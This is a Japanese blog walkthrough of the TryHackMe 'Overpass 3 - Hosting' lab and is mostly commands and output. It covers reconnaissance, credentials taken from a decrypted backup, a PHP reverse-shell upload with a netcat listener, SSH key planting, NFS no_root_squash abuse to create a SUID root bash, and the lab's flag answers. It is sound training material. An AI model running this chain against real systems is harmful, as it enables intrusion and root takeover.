0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Overpass 3 - Hosting:Walkthrough

Posted at

概要

TryHackMe「Overpass 3 - Hosting」のWalkthroughです。

Task1

Q1.Web Flag

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -p- 10.201.10.37 -oN nmap_result

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 de:5b:0e:b5:40:aa:43:4d:2a:83:31:14:20:77:9c:a1 (RSA)
|   256 f4:b5:a6:60:f4:d1:bf:e2:85:2e:2e:7e:5f:4c:ce:38 (ECDSA)
|_  256 29:e6:61:09:ed:8a:88:2b:55:74:f2:b7:33:ae:df:c8 (ED25519)
80/tcp open  http    Apache httpd 2.4.37 ((centos))
|_http-server-header: Apache/2.4.37 (centos)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Overpass Hosting
Service Info: OS: Unix

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 8.0
80 http Apache/2.4.37

Webサイトにアクセスします。

image.png

ディレクトリスキャンをすると、/backupsを発見しました。

$ dirsearch -u http://10.201.10.37/

[10:17:59] 301 -  236B  - /backups  ->  http://10.201.10.37/backups/        
[10:17:59] 200 -  894B  - /backups/

/backupsにアクセスすると、backup.zipがあります。

image.png

ダウンロードし解凍すると、prive.keyCustomerDetails.xlsx.gpgが含まれています。
CustomerDetails.xlsx.gpgprive.keyで復号できそうです。

$ unzip backup.zip                                      
Archive:  backup.zip
 extracting: CustomerDetails.xlsx.gpg  
  inflating: priv.key

gpgのプライベートキーをインポートします。

$ gpg --import priv.key
gpg: key C9AE71AB3180BC08: public key "Paradox <paradox@overpass.thm>" imported
gpg: key C9AE71AB3180BC08: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

プライベートキーでファイルの復号をします。

$ gpg --decrypt --output CustomerDetails.xlsx CustomerDetails.xlsx.gpg
gpg: Note: secret key 9E86A1C63FB96335 expired at Tue 08 Nov 2022 04:14:31 PM EST
gpg: encrypted with 2048-bit RSA key, ID 9E86A1C63FB96335, created 2020-11-08
      "Paradox <paradox@overpass.thm>"

復号したファイルを開くと、3アカウントの認証情報を得られました。

image.png

Username:paradoxPassword:ShibesAreGreat123でFTPのログインに成功しました。

msf6 auxiliary(scanner/ftp/ftp_login) > exploit 
[*] 10.201.63.16:21       - 10.201.63.16:21 - Starting FTP login sweep
[+] 10.201.63.16:21       - 10.201.63.16:21 - Login Successful: paradox:ShibesAreGreat123
[*] 10.201.63.16:21       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

FTP経由でWebサーバに、リバースシェルファイルをアップロードします。

ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||25336|)
150 Ok to send data.
100% |*****************************************************************|  5493       31.74 MiB/s    00:00 ETA
226 Transfer complete.
5493 bytes sent in 00:00 (15.62 KiB/s)

Netcatでリッスンし、リバースシェルファイルにアクセスし、リバースシェルを張れました。

$ nc -lvnp 1234                                     
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.201.63.16] 33898
Linux ip-10-201-63-16 4.18.0-193.el8.x86_64 #1 SMP Fri May 8 10:59:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 13:52:47 up 6 min,  0 users,  load average: 0.00, 0.10, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: cannot set terminal process group (876): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ whoami
whoami
apache

フラグファイルを探すと、/usr/share/httpd/web.flagを発見しました。

sh-4.4$ find / -name *flag* 2>/dev/null

/usr/share/httpd/web.flag

Webのフラグを得られました。

sh-4.4$ cat /usr/share/httpd/web.flag
cat /usr/share/httpd/web.flag
thm{0ae72f7870c3687129f7a824194be09d}

A.thm{0ae72f7870c3687129f7a824194be09d}

Q2.User Flag

/homeを見ると、jamesparadoxアカウントに昇格する必要がありそうです。

sh-4.4$ ls -la /home
ls -la /home
total 0
drwxr-xr-x.  4 root    root     34 Nov  8  2020 .
drwxr-xr-x. 17 root    root    244 Nov 18  2020 ..
drwx------.  3 james   james   112 Nov 17  2020 james
drwx------.  4 paradox paradox 203 Nov 18  2020 paradox

paradoxアカウントにSSH接続を試みましたが、失敗しました。

$ ssh paradox@10.201.63.16 
The authenticity of host '10.201.63.16 (10.201.63.16)' can't be established.
ED25519 key fingerprint is SHA256:18WMJxDadr79jI/eHKaMMLgRKWSOMUxtNLFbBJjVKrg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.201.63.16' (ED25519) to the list of known hosts.
paradox@10.201.63.16: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

リバースシェル上でparadoxアカウントに移行出来ました。

sh-4.4$ su paradox
su paradox
Password: ShibesAreGreat123

whoami
paradox

paradoxアカウントにSSH接続できるよう、自身のSSH公開鍵を登録し、SSH接続に切り替えます。

[paradox@ip-10-201-63-16 .ssh]$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBAdms08N2Rd+Wt6UZ74W0OyFlFt/mnGyKY/PkV9RXYYDljCC6AULUw1UbCWHpfCU3AT75b57Y97JkhvvW5/X8QNl444H+PWlMngBYxYnlP5WMGtfIRfoo28JVNUH6LQRmQv9SmOepikkmDqBwyptUDl90CLroCrO8DO+vSjOfnYDV3ewGLp487iHRN2IptsbVaNjVQqoo3Amc277oZNNQX8XwpkuOVlQn2zKU9u6eSHqvtRjeBsHyo771/4MTR1fdQH8pABgjYTjTaHjIX/u1s8nL/DSEJ9DDOxcKjdU0wijOSyrCJSMrHx8Y4Dt+SooL5eYiQCZ8Om6nBWT5qe9aLVtW1lYeOnxVt+6hO7eJOb/k+SVFxnysjSdOJfkUgJgFE2LwbwYQWtLzcOwFx64GNU881H8Q9KZbw0Z6ei5EP7LVsqYb/0PHcc8PKg5i1rR665hDN12js3gfLaCDo3AnprxshtrD+dtGmXIvLmHK3zcZKANy6VCX8B1StgjhTfE= kali@kali" >> authorized_keys
<ZKANy6VCX8B1StgjhTfE= kali@kali" >> authorized_keys

linpeasを実行すると、2049ポートが動作しており、NFSが動作していると分かります。

╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports                  
══╣ Active Ports (ss)                                                                                         
tcp     LISTEN   0        128              0.0.0.0:22             0.0.0.0:*                                   
tcp     LISTEN   0        128              0.0.0.0:41567          0.0.0.0:*     
tcp     LISTEN   0        64               0.0.0.0:2049           0.0.0.0:*     
tcp     LISTEN   0        64               0.0.0.0:44171          0.0.0.0:*     
tcp     LISTEN   0        128              0.0.0.0:111            0.0.0.0:*     
tcp     LISTEN   0        128              0.0.0.0:20048          0.0.0.0:*     
tcp     LISTEN   0        128                 [::]:22                [::]:*     
tcp     LISTEN   0        64                  [::]:37881             [::]:*     
tcp     LISTEN   0        128                 [::]:36857             [::]:*     
tcp     LISTEN   0        64                  [::]:2049              [::]:*     
tcp     LISTEN   0        128                 [::]:111               [::]:*     
tcp     LISTEN   0        128                 [::]:20048             [::]:*     
tcp     LISTEN   0        128                    *:80                   *:*     
tcp     LISTEN   0        32                     *:21                   *:*

また、/home/james配下を外部からマウントできると分かりました。

╔══════════╣ Analyzing NFS Exports Files (limit 70)
Connected NFS Mounts:                                                                                         
nfsd /proc/fs/nfsd nfsd rw,relatime 0 0
sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
-rw-r--r--. 1 root root 54 Nov 18  2020 /etc/exports
/home/james *(rw,fsid=0,sync,no_root_squash,insecure)

SSHでポートフォワーディングの設定します。

$ ssh -L 2049:localhost:2049 -i ~/.ssh/id_rsa paradox@10.201.63.16

マウント用のフォルダをローカルに作成します。

$ sudo mkdir /mnt/james
[sudo] password for kali:

作成したフォルダに/home/jamesをマウントします。

$ sudo mount localhost:/ /mnt/james

user.flagを発見しました。

$ ls -la /mnt/james 
total 20
drwx------ 3 kali kali  112 Nov 17  2020 .
drwxr-xr-x 5 root root 4096 Oct 14 09:16 ..
lrwxrwxrwx 1 root root    9 Nov  8  2020 .bash_history -> /dev/null
-rw-r--r-- 1 kali kali   18 Nov  8  2019 .bash_logout
-rw-r--r-- 1 kali kali  141 Nov  8  2019 .bash_profile
-rw-r--r-- 1 kali kali  312 Nov  8  2019 .bashrc
drwx------ 2 kali kali   61 Nov  7  2020 .ssh
-rw------- 1 kali kali   38 Nov 17  2020 user.flag

ユーザーフラグを入手できました。

$ cat /mnt/james/user.flag                 
thm{3693fc86661faa21f16ac9508a43e1ae}

A.thm{3693fc86661faa21f16ac9508a43e1ae}

Q3.Root flag

jamesのSSH秘密鍵を発見しました。

$ ls -la /mnt/james/.ssh
total 12
drwx------ 2 kali kali   61 Nov  7  2020 .
drwx------ 3 kali kali  112 Nov 17  2020 ..
-rw------- 1 kali kali  581 Nov  7  2020 authorized_keys
-rw------- 1 kali kali 2610 Nov  7  2020 id_rsa
-rw-r--r-- 1 kali kali  581 Nov  7  2020 id_rsa.pub

マウントフォルダから、秘密鍵をローカルにコピーします。

$ cp /mnt/james/.ssh/id_rsa ./

jamesアカウントにSSH接続が出来ました。

$ ssh -i id_rsa james@10.201.63.16 
Last failed login: Tue Oct 14 14:02:16 BST 2025 on pts/0
There were 5 failed login attempts since the last successful login.
Last login: Wed Nov 18 18:26:00 2020 from 192.168.170.145
[james@ip-10-201-63-16 ~]$ whoami
james

linpeasの出力結果にある、no_root_squashに注目します。
この設定があるので、ターゲットサーバ上の共有フォルダをroot権限で操作できます。

/home/james *(rw,fsid=0,sync,no_root_squash,insecure)

/bin/bash/home/jamesにコピーします。

[james@ip-10-201-63-16 ~]$ cp /bin/bash ./

マウントフォルダ経由で/home/james/bashの所有者をrootに変更し、SUIDを設定します。

$ sudo chown root:root /mnt/james/bash   
$ sudo chmod +xs /mnt/james/bash

SSH接続で/home/james/bashを確認すると、権限設定が反映されています。

[james@ip-10-201-63-16 ~]$ ls -la
total 2400
drwx------. 3 james james     141 Oct 14 14:34 .
drwxr-xr-x. 4 root  root       34 Nov  8  2020 ..
-rwsr-sr-x  1 root  root  1219248 Oct 14 14:30 bash

bashプログラムを利用し、root権限を取得できました。

[james@ip-10-201-63-16 ~]$ /home/james/bash -p
bash-4.4# whoami
root

ルートフラグを入手できました。

bash-4.4# cat /root/root.flag
thm{a4f6adb70371a4bceb32988417456c44}

A.thm{a4f6adb70371a4bceb32988417456c44}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?